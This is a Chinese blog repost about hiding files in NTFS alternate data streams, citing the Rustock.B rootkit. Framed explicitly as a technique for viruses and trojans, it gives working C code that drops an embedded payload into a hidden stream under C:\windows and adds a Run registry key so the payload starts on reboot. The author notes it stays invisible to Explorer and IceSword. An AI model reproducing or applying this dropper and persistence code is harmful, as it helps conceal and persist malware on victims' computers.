基于文件流的文件隐藏技术
来源:互联网 发布:java 支付宝转账 编辑:程序博客网 时间:2024/06/14 22:20
基于文件流的文件隐藏技术
---------X-STAR(CISRG)
最近在分析一个国外的Rootkit --Rustock.B.Rootkti时 ,发现Rustock.B就用的ADS Stream 的方法来隐藏自身.
Rustock.B.Rootkit执行的时候在NTFS文件系统中释放C:/windows/system32:lzx32.sys这个流 , 而这个流在windows explorer中根本看不到这个流,但是这个文件是确实存在的,而且也是可以被执行的.这样就实现了隐藏了.
虽然这也不是什么新鲜的技术了,但是还是有必要记录一下,必竟还不是有太多人了解.而且也会常常被人忽略.
那么什么是ADS流? Microsoft 又为什么要在NTFS文件系统中用到这个流呢?
其实这个流就是alternate data streams(交换数据流).
NTFS交换数据流(ADSs)是为了和Macintosh的HFS文件系统兼容而设计的,它使用资源派生(resource forks)来维持与文件,比如说图标及其他的东西.而微软提供了一种方法通过Windows explorer来创建特殊的ADSs,检测这种特殊的ADSs的必要工具和功能相当缺乏.说来也奇怪,系统一直以来都有允许用户创建ADSs以及在这种流文件.Microsoft KnowledgeBase 中Q101353号文章承认了基于API的win32不能很好的支持ADSs.中执行隐藏代码的功能和工具相关的信息
好了. 现在我们已经对这个流有个概念性的了解,下面开始讲解如何在病毒程序或者其它木马程序中应用这个流.
char buffer[]="c://windows:b.exe";//注意这里的: 而不是/
HFILE hfile = _lcreat(buffer,0);
HRSRC rsrc;
HGLOBAL hglobal;
unsigned char * lpvoid;
DWORD DFileSize;
rsrc = FindResource(NULL,MAKEINTRESOURCE(IDR_RS_DATA1),"RS_DATA");
if (rsrc==NULL)
{
::MessageBox(NULL,"can't find the resource",NULL,MB_OK);
ExitProcess(0);
}
hglobal = LoadResource(NULL,rsrc);
DFileSize = SizeofResource(NULL,rsrc);
lpvoid = (unsigned char *)LockResource(hglobal);
UINT uwrite;
while(DFileSize--)
{
uwrite= _lwrite(hfile,(char *)lpvoid,1);
if(HFILE_ERROR==uwrite)
{
//MessageBox("write error");
}
lpvoid++;
}
if(hfile==HFILE_ERROR)
{
//printf("create file error/n");
exit(0);
}
_lclose(hfile);
HKEY phkey;
long keyopen = RegOpenKeyEx(
HKEY_CURRENT_USER,
"Software//Microsoft//Windows//CurrentVersion//Run",0,KEY_SET_VALUE,&phkey
);
if(keyopen!=ERROR_SUCCESS)
{
AfxMessageBox("error open key");
}
RegSetValueEx(phkey,"b.exe",0,REG_SZ,(const unsigned char *)buffer,sizeof(buffer));
RegCloseKey(phkey);
//return 0;
通过这个程序 ,我们就能创建一个ADS文件流了(这里的资源文件文件我用的是记事本程序).
重启之后,你就会发现记事本程序自动运行了.但是在文件系统中你根本找不到这个文件.而且IceSword也看不到.
这样一个基于ADS交换流的隐藏木马就完成了 .
但是这个流有一个局限就是只存于在基于NTFS的Windows系统中.
- 基于文件流的文件隐藏技术
- 基于文件流的文件隐藏技术
- 图片隐藏文件技术
- 文件隐藏技术(一)
- 文件隐藏技术(二)
- 基于C语言的文件加密技术
- 利用系统钩子技术隐藏指定的文件或文件夹
- RootKit的隐藏文件
- 隐藏文件的方法
- 隐藏文件的方法
- 隐藏文件的绝招
- 有趣的隐藏文件
- 隐写术 隐藏的文件
- 隐藏的秘密文件
- 基于文件流的文件操作
- Windows中隐藏文件的捷径---------NTFS文件流(ADS)
- 基于PHP的AJAX技术实现文件异步上传
- 基于PHP的AJAX技术 实现文件异步上传
- 象形文字--中文自然语言理解的突破
- RDL(C) Report Design Step by Step
- hibernate二级缓存的配置
- Linux那些事儿之我是Hub(3)一样的精灵不一样的API
- ado.net c#.net2005 From第一讲(BindingDemoForm9)
- 基于文件流的文件隐藏技术
- 用Ajax技术让IE Web Control Tree View实现大数据量读取 【原文】
- [建模]使用Visio 2000逆向工程将代码转换为UML图表
- 在VB中将一字符串转存到Byte数组里的正确方法
- MYSQL into outfile注射---条件
- B/S下C#的提示信息
- winform程序中如何跨线程修改控件的值
- ISBN、一个18位身份证和计算信用卡(Luhns)的算法
- 采用spring的Log4jConfigListener配置log4j